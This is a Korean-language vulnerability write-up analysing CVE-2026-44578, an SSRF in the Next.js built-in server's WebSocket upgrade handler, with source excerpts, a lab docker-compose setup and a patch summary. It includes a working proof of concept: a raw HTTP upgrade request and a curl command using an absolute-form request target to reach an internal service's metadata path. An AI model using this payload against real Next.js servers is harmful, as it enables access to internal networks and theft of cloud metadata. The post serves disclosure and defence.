[하루한줄] CVE-2026-44578: Next.js의 WebSocket에서 발생하는 SSRF 취약점
URL
Target
- Next.js
- 16.0.0 이상 ~ 16.2.5 미만
- 13.4.13 이상 ~ 15.5.16 미만
Explain
Overview
CVE-2026-44578은 Next.js의 내장 Node.js 서버에서 WebSocket Upgrade 요청을 처리하는 과정에서 발생하는 SSRF(Server-Side Request Forgery) 취약점입니다. CVSS v3.1 기준 8.6(High)로 평가되었으며 취약점을 악용하면 공격자는 인증 없이 단일 HTTP 요청만으로 Next.js 서버를 통해 접근 가능한 내부 서비스로 GET 요청을 전달할 수 있습니다.
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2026-44578 |
| CWE | CWE-918 (Server-Side Request Forgery) |
| Impact | 인증 없이 서버 내부 네트워크의 임의 호스트(80 포트)에 GET 요청 가능 |
| 공격 조건 | 네트워크 접근 가능, Websocket upgrade 활성화, 타겟 서비스가 80 포트 접근 가능 |
Background
Next.js의 HTTP 요청 처리 구조
Next.js의 내장 서버는 HTTP 요청을 처리할 때, 두 가지 핸들러를 사용합니다.
- HTTP request handler: 일반적인 HTTP 요청을 처리
- upgrade handler:
Connecion: Upgrade,Upgrade: websocket헤더가 포함된 Websocket upgrade 요청을 처리
두 핸들러 모두 내부적으로 resolveRoutes() 함수를 호출해 요청의 라우팅을 결정합니다. 이때, resolveRoutes()는 요청 URL을 파싱하고 라우팅 규칙을 평가한 뒤 결과를 아래 객체로 반환합니다.
next.js-v16.2.4/packages/next/src/server/lib/router-utils/resolve-routes.ts:128
}): Promise<{
finished: boolean // 라우팅 완료 여부
statusCode?: number // 리다이렉트 등의 상태 코드
bodyStream?: ReadableStream | null // 미들웨어가 생성한 응답 바디
resHeaders: Record<string, string | string[]> | null // 라우팅 과정에서 추가된 응답 헤더
parsedUrl: NextUrlWithParsedQuery // 파싱된 URL 객체
matchedOutput?: FsOutput | null // 매칭된 파일시스템
}> {
absolute-form URI
HTTP/1.1 스펙인 RFC 7230에서는 request line(요청 첫 줄)에 absolute-form URI를 허용합니다. 따라서 일반적인 브라우저는 GET /path HTTP/1.1 형태의 origin-form[1]을 사용하지만, 프록시 환경에서는 absolute-form[2]도 유효한 요청입니다.
- HTTP/1.0에서는 Host 헤더가 표준 요구사항이 아니었기 때문에, 프록시는 목적지를 식별하기 위해 Request-Line에 전체 URI(absolute-form)를 사용했습니다.
- 현재도 하위 호환성과 프록시 지원을 위해 해당 형식이 유지되고 있습니다.
// [1] origin-form URI
GET /login HTTP/1.1
Host: public.com
// -> public.com/login
// [2] absolute-form URI
GET http://internal-api/res HTTP/1.1
Host: public.com
-> http://internal-api/res
Node.js의 http 모듈은 absolute-form 형태의 Request-Line을 그대로 req.url에 보존합니다. 따라서 url.parse(req.url)를 호출하면 protocol: 'http:', hostname: 'internal-api' 등의 정보가 파싱됩니다.
normalizeRepeatedSlashes 처리
resolveRoutes() 내부에는 URL에 //나 \가 포함된 경우를 처리하는 early-exit 로직이 존재합니다.
next.js-v16.2.4/packages/next/src/server/lib/router-utils/resolve-routes.ts:156
if (urlNoQuery?.match(/(\\|\/\/)/)) {
parsedUrl = parseUrl(normalizeRepeatedSlashes(req.url!))
return {
parsedUrl,
resHeaders,
finished: true,
statusCode: 308,
}
}
origin-form URI는 문제가 없지만, absolute-form URI라면 프로토콜 스킴에 해당하는 http://는 early-exit 로직을 타게 됩니다.
http://target/path
-> normalizeRepeatedSlashes
http:/target/path
따라서 finished: true, statusCode: 308이 반환됩니다. 이는 라우팅이 완료되었고 308 리다이렉트 응답을 보내야 함을 의미합니다.
HTTP request handler의 처리 로직
일반적인 HTTP 요청을 처리하는 HTTP request handler는 resolveRoutes()의 반환값에서 finished, statusCode, parsedUrl.protocol을 모두 확인합니다.
next.js-v16.2.4/packages/next/src/server/lib/router-utils/router-server.ts:499
if (finished && parsedUrl.protocol) {
return await proxyRequest(
req,
res,
parsedUrl,
undefined,
getRequestMeta(req, 'clonableBody')?.cloneBodyStream(),
config.experimental.proxyTimeout
)
}
finished가 true이고, parsedUrl.protocol이 존재하더라도 statusCode가 있으면 프록시를 수행하지 않습니다. 이 로직으로 인해 absolute-form URI를 통한 SSRF는 차단됩니다.
Root Cause
취약점은 upgrade handler에서는 resolveRoutes()의 반환값을 불완전하게 검사하기 때문에 발생하였습니다.
next.js-v16.2.4/packages/next/src/server/lib/router-utils/router-server.ts:911
if (parsedUrl.protocol) {
return await proxyRequest(req, socket, parsedUrl, head)
}
프로토콜만 확인하고 프록시 요청을 수행하기 때문에 308 리다이렉트가 발생해야 하는 요청을 받더라도 프록시 요청이 수행됩니다.
따라서 다음의 공격 흐름이 성립하게 됩니다.
- Node.js가
Upgrade헤더를 보고upgrade이벤트 발생 - upgrade handler가
resolveRoutes()를 호출 - URL의
http://에서//가normalizeRepeatedSlashes에 매칭 resolveRoutes()가{ finished: true, statusCode: 308, parsedUrl: { protocol: 'http:', ... } }를 반환- upgrade handler는
finished와statusCode를 무시하고,parsedUrl.protocol === 'http:'만 확인 proxyRequest()가 호출되어internal-api:8080으로 요청이 프록시됨- 내부 서비스의 응답이 공격자에게 전달됨
GET http://internal-api:8080/latest/meta-data/ HTTP/1.1
Host: public.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: aGFja3lib2l6
normalizeRepeatedSlashes에 의해 URL은 변형되지만 proxyRequest와 내부 http-proxy 라이브러리가 타겟 호스트명을 복원하여 TCP 연결은 정상적으로 수립됩니다.
내부 로직에 의한 요청 처리 흐름은 아래와 같습니다.
# upgrade handler
GET http://internal-api:8080/latest/meta-data HTTP/1.1
host: localhost:3000
connection: Upgrade
upgrade: websocket
sec-websocket-version: 13
sec-websocket-key: aGFja3lib2l6
# resolve-routes
urlNoQuery matched /(\\|\/\/)/
req.url: http://internal-api:8080/latest/meta-data
normalized: http:/internal-api:8080/latest/meta-data
parseUrl() => {
protocol: "http:"
hostname: "internal-api"
port: "8080"
pathname: "/latest/meta-data"
slashes: true
}
return { finished: true, statusCode: 308 }
# upgrade handler: resolveRoutes returned
matchedOutput: false
parsedUrl.protocol: "http:"
parsedUrl.hostname: "internal-api"
parsedUrl.port: "8080"
parsedUrl.pathname: "/latest/meta-data"
-> proxyRequest() called
# proxyRequest
url.format(parsedUrl) => http://internal-api:8080/latest/meta-data
parsedUrl: {"protocol":"http:","hostname":"internal-api","port":"8080","pathname":"/latest/meta-data","search":""}
http-proxy will url.parse(target) => {
hostname: "internal-api"
port: "8080"
path: "/latest/meta-data"
}
-> tcp connect internal-api:8080
PoC
간단하게 인프라를 구성해보면 아래와 같습니다.
docker-compose.yaml
services:
webapp:
build: ./webapp
ports:
- "3000:3000"
environment:
- INTERNAL_API_URL=http://internal-api:8080
networks:
- public
- internal
depends_on:
- internal-api
internal-api:
build: ./internal-api
networks:
- internal
networks:
public:
driver: bridge
internal:
driver: bridge
internal: true
이 네트워크는 외부 접근 가능한 bridge 네트워크인 public과 외부 라우팅이 차단되는 internal 네트워크가 존재합니다. 따라서 일반적인 상황에서는 Next.js 앱인 webapp 서비스만이 양쪽 네트워크에 연결된 피봇 포인트로 기능합니다.
아래의 curl 명령어를 통해 SSRF 취약점을 이용하여 internal 네트워크의 internal-api 서비스에 요청을 보낼 수 있는 것을 확인할 수 있습니다.
curl --http1.1 \
-H "Host: localhost:3000" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: aGFja3lib2l6" \
--request-target "http://internal-api:8080/latest/meta-data" \
http://localhost:3000/

로그를 확인해보면 실제 요청이 위에서 확인했던 공격 흐름대로 처리되었음을 확인할 수 있습니다.

동일한 타겟에 대해 HTTP request handler 경로를 타게 하면 resolveRoutes()는 { finished: true, statusCode: 308 }을 반환하고 statusCode가 존재하므로 proxyRequest()는 호출되지 않는 것을 확인할 수 있습니다.

Patch
패치 커밋 c4f69086cc8dcbd81b1dbc321c98ea874d90d6f8에서 upgrade handler에 finished와 statusCode 검사를 추가하여 SSRF 취약점을 조치하였습니다.

Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.